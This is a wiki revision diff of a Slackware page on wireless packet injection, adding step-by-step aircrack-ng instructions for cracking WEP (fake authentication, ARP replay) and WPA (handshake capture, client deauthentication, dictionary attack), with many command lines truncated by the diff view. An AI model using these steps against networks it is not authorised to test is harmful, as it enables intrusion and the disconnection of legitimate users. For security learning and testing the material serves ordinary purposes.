slackware:packet_injection
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| slackware:packet_injection [2011/06/21 23:35] – slack | slackware:packet_injection [2019/11/07 17:58] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 44: | Line 44: | ||
| make unload | make unload | ||
| </ | </ | ||
| + | |||
| + | ====== Cracking WEP ====== | ||
| Now you should be able to follow the entire [[http:// | Now you should be able to follow the entire [[http:// | ||
| Line 118: | Line 120: | ||
| </ | </ | ||
| - | 4. Terminal 1: use aireplay-ng to do fake authentication with the AP | + | ===== 4. Terminal 1: use aireplay-ng to do fake authentication with the AP ===== |
| In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets. | In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets. | ||
| Line 126: | Line 128: | ||
| To associate with an access point, use fake authentication: | To associate with an access point, use fake authentication: | ||
| + | <code bash> | ||
| | | ||
| Line 136: | Line 139: | ||
| -h 00: | -h 00: | ||
| ath0 is the wireless interface name | ath0 is the wireless interface name | ||
| + | </ | ||
| Success looks like: | Success looks like: | ||
| + | <code bash> | ||
| 18: | 18: | ||
| 18: | 18: | ||
| 18: | 18: | ||
| 18: | 18: | ||
| + | </ | ||
| - | 5. Start aireplay-ng in ARP request replay mode (terminal 1 again) | + | ===== 5. Start aireplay-ng in ARP request replay mode (terminal 1 again) |
| + | <code bash> | ||
| | | ||
| + | </ | ||
| It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it. See the Generating ARPs section for tricks on generating ARPs if your screen says “got 0 ARP requests” after waiting a long time. | It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it. See the Generating ARPs section for tricks on generating ARPs if your screen says “got 0 ARP requests” after waiting a long time. | ||
| Line 152: | Line 160: | ||
| Here is what the screen looks like when ARP requests are being injected: | Here is what the screen looks like when ARP requests are being injected: | ||
| + | <code bash> | ||
| | | ||
| You should also start airodump-ng to capture replies. | You should also start airodump-ng to capture replies. | ||
| Read 629399 packets (got 316283 ARP requests), sent 210955 packets... | Read 629399 packets (got 316283 ARP requests), sent 210955 packets... | ||
| + | </ | ||
| You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The ”#/s” should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 500/second. | You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The ”#/s” should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 500/second. | ||
| - | 6. Terminal 3: Run aircrack-ng to obtain the WEP key | + | ===== 6. Terminal 3: Run aircrack-ng to obtain the WEP key ===== |
| The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps. | The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps. | ||
| Line 164: | Line 174: | ||
| Start another console session and enter: | Start another console session and enter: | ||
| + | <code bash> | ||
| | | ||
| + | |||
| Where: | Where: | ||
| -b 00: | -b 00: | ||
| output*.cap selects all files starting with “output” and ending in ”.cap”. | output*.cap selects all files starting with “output” and ending in ”.cap”. | ||
| - | To also use the FMS/Korek method, start another console session and enter: | + | </code> |
| - | You can run this while generating packets. In a short time, the WEP key will be calculated and presented. You will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128 bit keys. If you are using the PTW attack, then you will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key. | + | You will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key. |
| Here is what success looks like: | Here is what success looks like: | ||
| + | <code bash> | ||
| Aircrack-ng 0.9 | Aircrack-ng 0.9 | ||
| Line 188: | Line 201: | ||
| KEY FOUND! [ 12: | KEY FOUND! [ 12: | ||
| Probability: | Probability: | ||
| + | </ | ||
| + | |||
| + | ====== Cracking WPA ====== | ||
| + | |||
| + | ===== 1. Put the Wireless Interface into Monitor Mode ===== | ||
| + | |||
| + | <code bash> | ||
| + | airmon-ng start wlan0 9 | ||
| + | </ | ||
| + | |||
| + | Final number is the channel. | ||
| + | |||
| + | ===== 2. Listen for a Handshake ===== | ||
| + | |||
| + | The handshake is the only interesting and useful part of communication between AP and client. | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | </ | ||
| + | |||
| + | Where: | ||
| + | * -c 9 is the channel for the wireless network | ||
| + | * --bssid 00: | ||
| + | * -w psk is the file name prefix for the file which will contain the IVs. | ||
| + | * mon0 is the interface name. | ||
| + | |||
| + | Success looks like this -- notice the "WPA handshake: | ||
| + | |||
| + | <code bash> | ||
| + | CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00: | ||
| + | |||
| + | BSSID PWR RXQ Beacons | ||
| + | |||
| + | 00: | ||
| + | |||
| + | BSSID STATION | ||
| + | |||
| + | 00: | ||
| + | </ | ||
| + | |||
| + | ===== 3. (if necessary) Deauthenticate a client to capture a handshake ===== | ||
| + | |||
| + | You can just wait for a handshake, but if there' | ||
| + | |||
| + | <code bash> | ||
| + | | ||
| + | </ | ||
| + | |||
| + | Where: | ||
| + | * -0 means deauthentication | ||
| + | * 1 is the number of deauths to send (you can send multiple if you wish) | ||
| + | * -a 00: | ||
| + | * -c 00: | ||
| + | * ath0 is the interface name | ||
| + | |||
| + | ===== 4. Crack the pre-shared key ===== | ||
| + | |||
| + | <code bash> | ||
| + | aircrack-ng -w password.lst -b 00: | ||
| + | </ | ||
| + | |||
| + | Where: | ||
| + | * -w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory. | ||
| + | * *.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files. | ||
slackware/packet_injection.1308699347.txt.gz · Last modified: 2019/11/07 17:58 (external edit)